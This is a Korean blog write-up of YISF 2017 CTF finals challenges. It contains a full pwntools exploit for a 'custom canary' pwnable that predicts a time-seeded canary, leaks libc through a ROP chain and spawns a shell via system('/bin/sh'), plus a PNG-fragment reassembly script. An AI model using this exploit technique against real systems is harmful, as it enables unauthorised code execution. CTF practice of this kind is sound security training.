-
YISF 2017 본선Pwnable/CTF 2017. 8. 13. 23:27pwnable custom canary challenge문제에서 서버시간이 한국시간이라 해서 내꺼 칼리리눅스가 한글시간이라 칼리 리눅스로 문제를 풀었다.123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwn import *from ctypes import CDLL#p=process("./echo")p=remote("111.111.111.77",3452)elf = ELF("./echo")libc=CDLL("libc.so.6")a = time.time()libc.srand(int(a))cookie = libc.rand()cookie_2 = libc.rand()print cookieprint int(a)pop_rdi = 0x400a53write_plt = elf.plt['write']main = 0x400995canary = 0x00000000006010b0sleep(3)print p.recvuntil("input: ")raw_input('$')payload = "A"*136payload += p32(cookie)payload += p32(cookie_2)payload += "A"*8payload += p64(pop_rdi)payload += p64(elf.got['puts'])payload += p64(elf.plt['puts'])payload += p64(0x40094c)p.sendline(payload)print p.recvuntil("\n")p.recv(1)puts = u64(p.recv(6)+"\x00\x00")base = puts - 0x06fd60system = base+0x46590BinSh = base+0x180503print hex(puts)print hex(base)print hex(system)a=time.time()libc.srand(int(a))cookie = libc.rand()cookie_2 = libc.rand()print hex(cookie)print hex(cookie_2)print p.recvuntil('input: ')payload = "A"*136payload += p32(cookie)payload += p32(cookie_2)payload += "Q"*8payload += p64(pop_rdi)payload += p64(BinSh)payload += p64(system)p.sendline(payload)p.interactive()
cs -MISC-
hex들을 합쳐서 이미지를 만들고 얇은이미지끼리 하나하나 합치는 문제였다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from os import systemi = 1while(1):if(i>=755):breakpng_1 = open(str(i)+"/"+"1","rb")png_1_read = png_1.read().encode("hex")png_1.close()png_2 = open(str(i)+"/"+"2","rb")png_2_read = png_2.read().encode("hex")png_2.close()png_3 = open(str(i)+"/"+"3","rb")png_3_read = png_3.read().encode("hex")png_3.close()if(png_1_read[0:8]=="89504e47"):header = "1"elif(png_2_read[0:8]=="89504e47"):header = "2"else:header = "3"if(png_1_read[-16:]=="49454e44ae426082"):last = "1"elif(png_2_read[-16:]=="49454e44ae426082"):last = "2"else:last = "3"if(header == "1" and last == "2"):senter = "3"elif(header=="2" and last=="1"):senter="3"elif(header=="3" and last=="1"):senter="2"elif(header=="1" and last=="3"):senter="2"elif(header=="2" and last=="3"):senter="1"else:senter="1"last = open(str(i)+"/"+str(last),"rb") #last pnglast_read = last.read()last.close()sent = open(str(i)+"/"+str(senter),"ab")sent.write(last_read)sent.close()senter = open(str(i)+"/"+str(senter),"rb")senter_read = senter.read()senter.close()head = open(str(i)+"/"+str(header),"ab")head.write(senter_read)head.close()system('mv'+" "+str(i)+'/'+str(header)+" "+str(i)+'/'+'header.png')i+=1for i in range(1,790):system("cp"+" "+str(i)+"/"+"header.png"+" "+"IMG/header"+str(i)+".png")cs 'Pwnable > CTF' 카테고리의 다른 글
크리스마스CTF 2016 who is solo? (0) 2017.08.27 BCTF 2016 Bcloud (0) 2017.08.27 YISF 2017 write up (0) 2017.08.10 HITCON 2016 SleepyHolder (0) 2017.07.13 HITCON 2016 SecretHolder (0) 2017.07.11